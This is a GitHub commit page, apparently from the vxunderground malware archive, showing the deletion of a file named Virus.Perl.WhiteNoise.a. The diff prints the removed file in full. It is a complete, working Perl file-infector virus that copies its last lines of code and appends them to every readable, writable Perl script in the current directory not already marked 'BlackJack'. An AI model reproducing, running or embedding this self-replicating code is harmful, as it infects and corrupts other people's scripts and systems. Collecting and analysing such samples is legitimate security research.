Delete Virus.Perl.WhiteNoise.a

na

Delete Virus.Perl.WhiteNoise.a
ace9e741 · vxunderground · GitHub · d22995b9 · d22995b9
Unverified Commit ace9e741 authored 4 years ago by vxunderground Committed by GitHub 4 years ago
--- a/Perl/Virus.Perl.WhiteNoise.a
+++ b/Perl/Virus.Perl.WhiteNoise.a
-open(File,$0);
-@Vir=<File>;
-#BlackJack
-@Virus=@Vir[-23...-1];
-close(File);
-foreach $FileName (<*>)
-{
-if ((-r $FileName) && (-w $FileName) && (-f $FileName))
-{
-open(fuck, "$FileName");
-@aFucks=<fuck>;
-close(fuck);
-if ((@aFucks[0] =~ "perl") || (@aFucks[1] =~ "perl"))
-{
-if ( not (@aFucks[-21] =~ "BlackJack"))
-{
-open(fuck, ">>$FileName");
-print fuck @Virus;
-close(fuck);
-}
-}
-}
-}